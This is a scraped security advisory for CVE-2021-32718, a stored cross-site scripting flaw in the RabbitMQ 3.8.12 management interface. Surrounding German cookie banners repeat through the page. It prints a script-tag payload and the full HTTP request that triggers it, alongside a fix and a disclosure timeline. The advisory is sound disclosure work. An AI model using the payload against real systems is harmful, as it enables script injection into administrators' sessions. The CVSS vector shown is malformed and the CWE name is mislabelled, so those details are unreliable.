



HeroLab



Technisch erforderlich



Analyse und Performance



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzklärung](#) | [Impressum](#)



Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analysezwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



Advisory ID: usd-2021-0011
CVE Number: CVE-2021-32718
Affected Product: RabbitMQ manager
Affected Version: RabbitMQ 3.8.12
Vulnerability Type: CWE-79: Improper Input Validation
Security Risk: Low (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:CAU:N/S:C/CF:N/CR:P/EA:U/MA:G/SC:N/RS:M/TC:P/VA:N/VS:M/WS:M)
Vendor URL: <https://www.rabbitmq.com>
Vendor Status: Fixed

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

Description

The vulnerability exists in RabbitMQ's „Add a user“ functionality and is only exploitable in the following situation: A user account containing the XSS payload in the user name must already exist within the application.

Proof of Concept (PoC)

Step 1: Create a user account named as follows:

```
'<script>alert(1)</script>
```

Step 2: Update the user account using the „Add a user“ functionality of the web interface. After submitting the data, the application displays a confirmation message in which the XSS payload will be included and thus executed.

Note, that this vulnerability does not affect the „Edit User“ feature, but the „Add a user“ feature which can also be used to modify existing users. The HTTP request for updating the user looks as follows:

```
PUT /api/users/'%3Cscript%3Ealert(1)%3C%2Fscript%3E HTTP/1.1
Host: 127.0.0.1:15672
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Content-Length: 91
Origin: http://127.0.0.1:15672
Connection: close
Referer: http://127.0.0.1:15672/
Cookie: m=2258:Z3Vlc3Q6Z3Vlc3Q%253D

{"username":"'<script>alert(1)</script>", "password": "abcdefg", "tags": ""}
```

The following screenshots show how the vulnerability can be triggered in the web interface and where the payload is executed:



RabbitMQ 3.8.12 Erlang 23.2.6

Overview Connections Channels Exchanges Queues Admin

Users

▼ All users

Filter: ☐ Regex ?

Name	Tags	Can access virtual hosts	Has password
'<script>alert(1)</script>		/	●
guest	administrator	/	●

Step 1: User already exists

▼ Add a user

Username: '<script>alert(1)</script>'

Password:

Tags:



Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse Zwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



USERS

▼ All users

Filter: ☐ Reset

Name	Updated
'<script>alert(1)</script>' guest	<input type="button" value="Close"/>

?

▼ Add a user

Username: '<script>alert(1)</script>'

Password: *

Tags: Set **Admin** | **Monitoring** | **Policymaker** | **Management** | **Impersonator** | **None**

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

Fix

It is recommended to treat all input on the website as potentially dangerous. Hence, all output that is dynamically generated based on user-controlled data should be encoded according to its context. The majority of programming languages supports standard procedures for encoding meta characters.

Timeline

- 2021-03-25: This vulnerability was identified by Christian Rellmann.
- 2021-04-15: Initial contact with vendor.
- 2021-04-16: Vulnerability details transmitted to vendor.
- 2021-05-06: Vendor starts working on a patch.
- 2021-06-08: Vendor released a **patch**.
- 2021-06-27: Vulnerability details **published** by vendor.
- 2021-06-30: Security advisory released by usd AG.

Credits

This security vulnerability was found by Christian Rellmann of usd AG.

About usd Security Advisories



In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab through training courses and publications.

Always for the sake of our mission: „more security“ to usd AG



Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technisch erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analysezwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.

in our practical work and our research abilities and current security issues.



Disclaimer

The information provided in this security advisory may be updated in order to provide as accurate information as possible.

The information provided in this security advisory may be updated in order to provide as accurate information as possible.

Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

[HeroLabs](#)

[Kontakt](#)

[Impressum](#)

[Datenschutz](#)

[AGB](#)

© 2022 HeroLabs AG

[Meldung einer Schwachstelle oder eines Bugs](#)

[Code of Ethics](#)



LabNews

Security Advisory zu GitLab

Dez 15, 2022

Security Advisory zu Acronis Cyber Protect

Nov 9, 2022

Security Advisories zu Apache Tomcat

Nov 24, 2022